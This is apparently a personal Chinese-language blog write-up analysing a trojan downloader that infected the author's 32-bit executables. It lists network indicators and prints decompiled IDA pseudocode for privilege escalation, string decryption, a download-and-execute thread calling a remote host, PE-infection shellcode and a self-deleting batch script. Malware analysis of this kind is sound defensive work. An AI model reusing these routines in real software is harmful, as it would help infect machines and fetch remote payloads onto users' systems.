前言因为我偶然间看到 我用bandizip 解压压缩包时, 火绒报毒

然后第二天我的 advanced archive passwod 打不开了, 还弹出了奇怪的报错,说是 64位windows 不能打开 16位程序,我直接纳闷
然后我修复了电脑,重新启动了一下,火绒直接报毒,emmm, 我一扫,才发现,tmd全盘exe32 都被干了!!! 就开始了这个样本的分析
被感染的文件, 报 HVM:TrojanDownloader/Small.gen!A 或 Virus/Jadtre.ax
样本本体, 报 TrojanDownloader/GTplus
信息收集
程序活动分析
使用工具:
- 火绒剑
- studype+
- 微步云沙箱
文件遍历遍历并修改所有exe文件

所有被修改的 exe 文件都增加了一个区段, 区段名称为 随机字符串

区段内含有一个 母体exe
这里的 exe 仅仅是 32位exe
网络活动
63.251.106.25
ddos.dnsnb8.net
ddos.dnsnb8.net:799/cj//k5.rar
ddos.dnsnb8.net:799/cj//k4.rar
k3.rar k2.rar k1.rar

刚好对应
注册表HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeGTplusTime 处写下内容, 盲猜是时间
创建文件在 Temp 文件夹内创建 名为 6AFB5029.exe 的母体
微步云线索
详细分析使用工具:
- ida pro
- x64dbg
程序流程大概是:
start -> main
main 函数有五个动作
权限提升如果 windows 版本在 6.0 以上,就不执行提权
复制代码 隐藏代码// windows 权限提升函数// 如果windows版本在 windows vista 下面,就执行提权int get_privilege(){
unsigned int v1;
// eax int v2;
// ebx unsigned int v3;
// ebx struct _OSVERSIONINFOA VersionInformation;
// [esp+10h] [ebp-D0h] BYREF int v6[
2];
// [esp+B4h] [ebp-2Ch] BYREF struct _LUID Luid;
// [esp+BCh] [ebp-24h] BYREF char v8[
4];
// [esp+C4h] [ebp-1Ch] BYREF int v9;
// [esp+C8h] [ebp-18h] int v10;
// [esp+CCh] [ebp-14h] BYREF unsigned int v11;
// [esp+D0h] [ebp-10h] unsigned int v12;
// [esp+D4h] [ebp-Ch] int v13;
// [esp+D8h] [ebp-8h] int v14;
// [esp+DCh] [ebp-4h] VersionInformation.dwOSVersionInfoSize =
156;
// 结构体在使用前需要对该成员填充该结构体的大小 GetVersionExA(&VersionInformation);
if ( VersionInformation.dwMajorVersion <
6 )
// 这里判断 windows 版本,如果低于 windows Vista 版本,就尝试提权 {
if (
LookupPrivilegeValueA(
0, Name, &Luid) ?
sub_AA119F((
int)&Luid) :
0 ) { v1 =
sub_AA120E();
if ( v1 ) {
if ( VersionInformation.dwMinorVersion ==
1 ) { v2 = v1 +
132; v14 = v1 +
132; }
else {
if ( VersionInformation.dwMinorVersion !=
2 )
return 0; v14 = v1 +
148; v2 = v1 +
148; }
注册表操作读取和写入
注册表路径: HKEY_LOCAL_MACHINE SOFTWAREGTPlus Time 这里路径,随系统不固定, 因为使用的是 SHSetValueA SHGetValueA api如果传参为1: 从注册表指定路径中查询 是否写入的有时间,如果有,返回1,反之返回0如果传参为2: 从注册表指定路径,创建注册key项, 并写入当前时间,返回0
复制代码 隐藏代码int __stdcall
register_operating(DWORD pcbData){
unsigned __int64 pvData;
// [esp+10h] [ebp-1Ch] BYREF struct _FILETIME SystemTimeAsFileTime;
// [esp+18h] [ebp-14h] BYREF DWORD pdwType;
// [esp+20h] [ebp-Ch] BYREF int v5;
// [esp+24h] [ebp-8h] v5 =
0;
GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
// 获取指向时间的指针 if ( pcbData ==
2 ) {
SHSetValueA(HKEY_LOCAL_MACHINE, pszSubKey, pszValue,
3u, &SystemTimeAsFileTime,
8u);
// 将时间数据写入到注册表中 }
else if ( pcbData ==
1 ) { pcbData =
8;
if ( !
SHGetValueA(HKEY_LOCAL_MACHINE, pszSubKey, pszValue, &pdwType, &pvData, &pcbData)
// 查询写入的时间 && *(
unsigned __int64 *)&SystemTimeAsFileTime /
0x2710 - pvData /
0x2710 <
0x5265C00 ) { v5 =
1; } }
return v5;}
数据解密操作算法看不懂, 但值得一提的是,一共解了 1740 字节,我看了下,是后门的hostname , 以及要用到的系统字符串 等,杂七杂八的东西
复制代码 隐藏代码int __userpurge data_decrypted@<eax>(
int a1@<eax>,
int *a2@<edi>,
int a3){
int *v4;
// eax char v5;
// si int *v6;
// edx int *v7;
// [esp+8h] [ebp-Ch] char v8;
// [esp+Ch] [ebp-8h] int v9;
// [esp+10h] [ebp-4h] int v10;
// [esp+10h] [ebp-4h] if ( (a1 &
3) !=
0 )
return 0; v7 = (
int *)((
char *)a2 + a1 -
4); v4 = a2; v5 =
-4 - (_BYTE)a2;
do { v6 = v4 +
1; v8 = (v5 + (_BYTE)v4 +
4) &
0x1F; v9 = *v4;
if ( ((v5 + (_BYTE)v4 +
4) &
4) !=
0 ) v10 = __ROR4__(v9, v8);
else v10 = __ROL4__(v9, v8); *v4++ = *v6 + a3 + ~(a3 ^ v10); }
while ( v6 < v7 ); *v6 = a3 ^ ~__ROL4__(a3 + *v6, ((_BYTE)v6 - (_BYTE)a2) &
0x1F);
return 1;}
启动一个下载后门线程CreateThread 直接启动,然后就 waitsignedobject 等待线程结束
复制代码 隐藏代码DWORD __stdcall
download_blackdoor_thread(LPVOID lpThreadParameter){
const char *v1;
// edi int v2;
// eax const CHAR *v3;
// eax bool v4;
// zf int v5;
// eax CHAR v7[
1024];
// [esp+0h] [ebp-50Ch] BYREF CHAR CmdLine[
260];
// [esp+400h] [ebp-10Ch] BYREF unsigned int v9;
// [esp+504h] [ebp-8h] 此函数为了下载专用, 下载更新的exe 或者其他后门 LPCSTR lpString;
// [esp+508h] [ebp-4h] v9 =
0;
for ( lpString = &byte_AA4748; v9 < dword_AA494C; ++v9 )
// k1.rar 一直到 k5.rar { v1 = &String;
if ( String ) {
do {
while (
1 ) { v5 =
get_rand_hex();
wsprintfA(CmdLine,
"%s%.8X.exe", cur_system_temp_dir, v5);
// 拼接到系统temp目录下的exe 文件 wsprintfA(v7,
"http://%s:%d/%s/%s", v1, dword_AA4948, word_AA4708, lpString);
// 解密后的网址+ 端口号+路径 if (
URLDownloadToFileA(
0, v7, CmdLine,
0,
0) )
// ddos.dnsnb8.net:799/cj//k1.rar 63.251.106.25:799 break;
vitrualfree2file(CmdLine);
WinExec(CmdLine,
5u); v2 =
lstrlenA(lpString); v3 = &lpString[v2 +
1]; v4 = *v3 ==
0; lpString = v3;
if ( v4 )
return 0; } v1 +=
lstrlenA(v1) +
1;
Sleep(dwMilliseconds); }
while ( *v1 ); } }
return 0;}
就拼接网址+文件 ddos.dnsnb8.net:799/cj//k1.rar k1 - k5
通过 URLDownloadToFileA 下载到本地
文件名称规则: system_temp 文件夹+ 随机hex字符串.exe
顺便把下载下来的文件 WinExec 执行一下, 我经过调试发现, 下载下来的内容一般为 foo , 然后解密后得到 4d5a
中间会歇上 3441092776 毫秒
PE感染先复制自身到内存中
然后起一个线程, 遍历所有盘符 , 这里有个要求,该设备不为 cdrom 和 unknow , 盘符不为 A, B, 然后对着这些符合条件的 创建一个线程, 遍历该盘所有文件, 对符合条件的进行pe 感染操作(这里我还没调试)
这里面很多东西 ida 伪代码无法显示出来, 我也没动调
老的 exe 文件 开一个新区段,名称随机 写入 oep_shellcode , 再把自身(带有upx壳子)写入到 新区段中

55 8b ec 为func 开始的地方 表示指令为 push ebp, mov ebp, espc9 c3 为func结束的地方 表示指令为 leave, ret

中间 C9 c3 和 4d 5a 90 之间有一点数据,不知道是啥
这里分析了一下 shellcode
复制代码 隐藏代码// 新的pe 文件的起始点: shellcode// write access to const memory has been detected, the output may be wrong!int oep_shellcode(){
int v0;
// eax _DWORD *v1;
// ecx int v2;
// edi int v3;
// ebx int v4;
// esi unsigned int v5;
// ecx int v6;
// esi int v7;
// edi int v8;
// ebx unsigned int v9;
// edx int v10;
// esi int v11;
// edx int v12;
// ecx int (__stdcall *g_GetModuleHandleA)(_DWORD);
// esi int v14;
// ecx int result;
// eax int v16;
// esi _DWORD *v17;
// eax int v18;
// ecx char v19[
260];
// [esp+Ch] [ebp-16Ch] BYREF char v20[
32];
// [esp+110h] [ebp-68h] BYREF int v21;
// [esp+130h] [ebp-48h] BYREF int v22[
3];
// [esp+134h] [ebp-44h] BYREF unsigned int v23;
// [esp+144h] [ebp-34h] int v24;
// [esp+148h] [ebp-30h] char v25[
4];
// [esp+14Ch] [ebp-2Ch] BYREF struct _PEB *v26;
// [esp+150h] [ebp-28h] int (__stdcall *g_GetModuleHandleA_1)(_DWORD);
// [esp+154h] [ebp-24h] void (__stdcall *g_GetTempPathA)(
int,
char *);
// [esp+158h] [ebp-20h] unsigned int v29;
// [esp+15Ch] [ebp-1Ch] void (__stdcall *g_lstrcatA)(
char *,
int *);
// [esp+160h] [ebp-18h] void (__stdcall *g_WriteFile)(
int, _DWORD *,
unsigned int,
char *, _DWORD);
// [esp+164h] [ebp-14h] int (__stdcall *g_CreateFileA)(
char *,
unsigned int, _DWORD, _DWORD,
int,
int, _DWORD);
// [esp+168h] [ebp-10h] int (__stdcall *g_WinExec)(
char *,
int);
// [esp+16Ch] [ebp-Ch] void (__stdcall *g_CloseHandle)(
int);
// [esp+170h] [ebp-8h] _DWORD *v35;
// [esp+174h] [ebp-4h] g_GetModuleHandleA_1 =
0; g_CreateFileA =
0; g_WriteFile =
0;
// peb获取 kernel的基质,然后解析pe 导出表, 获取几个函数的地址 g_CloseHandle =
0; g_WinExec =
0; g_GetTempPathA =
0; g_lstrcatA =
0; v21 =
0x11111111; qmemcpy(v22,
"""""3333DDDD",
sizeof(v22)); v35 = &locret_AA4271; v26 = NtCurrentPeb(); locret_AA4271 =
0xE904C483; *((_DWORD *)&locret_AA4271 +
1) =
0xAAAAAAAA; v0 = *(_DWORD *)(**((_DWORD **)v26->ImageBaseAddress +
7) +
8);LABEL_2: v1 = (_DWORD *)(v0 + *(_DWORD *)(*(_DWORD *)(v0 +
60) + v0 +
120)); v2 = v1[
7]; v3 = v1[
8]; v4 = v1[
9]; v5 = v1[
6]; v6 = v0 + v4; v7 = v0 + v2; v8 = v0 + v3; v9 =
0; v24 = v6; v29 =
0; v23 = v5;
while ( v9 < v23 ) { v10 = *(_DWORD *)(v7 +
4 * *(
unsigned __int16 *)(v6 +
2 * v9)); v11 = v0 + *(_DWORD *)(v8 +
4 * v9); v12 = *(_DWORD *)v11; g_GetModuleHandleA = (
int (__stdcall *)(_DWORD))(v0 + v10);
if ( *(_DWORD *)v11 ==
'MteG' && *(_DWORD *)(v11 +
4) ==
'ludo' && *(_DWORD *)(v11 +
8) ==
'naHe' && *(_DWORD *)(v11 +
12) ==
'Aeld' && !*(_BYTE *)(v11 +
16) ) {
// GetModuleHandleA if ( !g_GetModuleHandleA_1 ) { g_GetModuleHandleA_1 = g_GetModuleHandleA; strcpy(v20,
"Kernel32.dll"); v0 = g_GetModuleHandleA(v20);
goto LABEL_2; } }
else if ( v12 ==
'EniW' && *(_DWORD *)(v11 +
4) ==
'cex' ) { g_WinExec = (
int (__stdcall *)(
char *,
int))g_GetModuleHandleA;
// WinExec }
else if ( v12 ==
'solC' && *(_DWORD *)(v11 +
4) ==
'naHe' && *(_DWORD *)(v11 +
8) ==
'eld' ) { g_CloseHandle = (
void (__stdcall *)(
int))g_GetModuleHandleA;
// CloseHandle }
else if ( v12 ==
'tirW' && *(_DWORD *)(v11 +
4) ==
'liFe' && *(_WORD *)(v11 +
8) ==
'e' ) { g_WriteFile = (
void (__stdcall *)(
int, _DWORD *,
unsigned int,
char *, _DWORD))g_GetModuleHandleA;
// WriteFile }
else { v14 = *(_DWORD *)v11;
if ( *(_DWORD *)v11 ==
'aerC' && *(_DWORD *)(v11 +
4) ==
'iFet' && *(_DWORD *)(v11 +
8) ==
'Ael' ) { g_CreateFileA = (
int (__stdcall *)(
char *,
unsigned int, _DWORD, _DWORD,
int,
int, _DWORD))g_GetModuleHandleA;
// CreateFileA }
else if ( v14 ==
'TteG' && *(_DWORD *)(v11 +
4) ==
'Ppme' && *(_DWORD *)(v11 +
8) ==
'Ahta' ) { g_GetTempPathA = (
void (__stdcall *)(
int,
char *))g_GetModuleHandleA;
// GetTempPathA }
else if ( v14 ==
'rtsl' && *(_DWORD *)(v11 +
4) ==
'Atac' ) { g_lstrcatA = (
void (__stdcall *)(
char *,
int *))g_GetModuleHandleA;
// lstrcatA } }
if ( g_GetModuleHandleA_1 && g_CreateFileA && g_WriteFile && g_CloseHandle && g_WinExec && g_GetTempPathA && g_lstrcatA ) {
break; } ++v29; v6 = v24; v9 = v29; } g_GetTempPathA(
260, v19);
// 获取系统temp目录 g_lstrcatA(v19, &v21);
// 目录拼接 result = g_CreateFileA(v19,
0xC0000000,
0,
0,
2,
128,
0);
// 创建文件 v16 = result;
if ( result !=
-1 ) { v17 = v35;
// 从该函数尾部开始查找exe 文件,然后将exe文件写入到刚才创建的文件 v18 =
0;
while ( *v17 !=
0x905A4D ) { v17 = (_DWORD *)((
char *)v17 +
1);
if ( ++v18 >=
500 )
goto LABEL_47; } g_WriteFile(v16, v17,
0xCCCCCCCC, v25,
0);LABEL_47: g_CloseHandle(v16); result = g_WinExec(v19,
5);
// 执行该exe文件 }
return result;}
因为没有动调,我不确定,他是否真的获取到了kernel32 的基址,有可能是 kernelbase 的基址, win7 以后老版本的shellcode 只能获取到 kernelbase的基址了
后面执行的函数,就是继续执行自己
winExec 第二个参数, 我查了下官方文档, 5 对应着 SW_SHOW ,就是正常启动该窗口罢了
自删除这个自删除比较骚
这里不断进行删除自身exe,然后判断自身exe是否还存在,存在则继续删除自身exe, 不存在,则删除脚本exe
复制代码 隐藏代码:DELFILE
del "C:Usersm1n9yu3Desktop样本.exe"if exist
"C:Usersm1n9yu3Desktop样本.exe" goto :DELFILE
del "C:Usersm1n9yu3AppDataLocalTemp35507285.bat"这里的 c 代码,就是把上面的bat脚本写到 系统 temp 目录下, 然后执行 , 这里 ShellExecuteA 是异步的,就是说,就算程序结束了, 该脚本也会继续执行
复制代码 隐藏代码void *auto_del_self(){ int v0;
// eax int v1;
// ebx void *result;
// eax void *v3;
// edi BOOL v4;
// ebx CHAR String[
2048];
// [esp+Ch] [ebp-908h] BYREF 看着像自删除 CHAR FileName[
260];
// [esp+80Ch] [ebp-108h] BYREF DWORD NumberOfBytesWritten;
// [esp+910h] [ebp-4h] BYREF v0 = get_rand_hex(); wsprintfA(
FileName,
"%s%.8x.bat", cur_system_temp_dir, v0); wsprintfA(
String,
":DELFILErndel "%s"rnif exist "%s" goto :DELFILErndel "%s"rn", pszPath, pszPath,
FileName); v1 = lstrlenA(
String); result =
CreateFileA(
FileName,
0xC0000000,
0,
0, 2u,
0,
0); v3 = result;
if ( result != (void *)-
1 ) { v4 =
WriteFile(result,
String, v1, &
NumberOfBytesWritten,
0); result = (void *)
CloseHandle(v3);
if ( v4 ) result =
ShellExecuteA(
0,
Operation,
FileName,
0,
0,
0); }
return result; }
总结分析过样本之后, 对 win32 api 有了一层新的认识, 以后分析这个起来,肯定会更加得心应手, 嘻嘻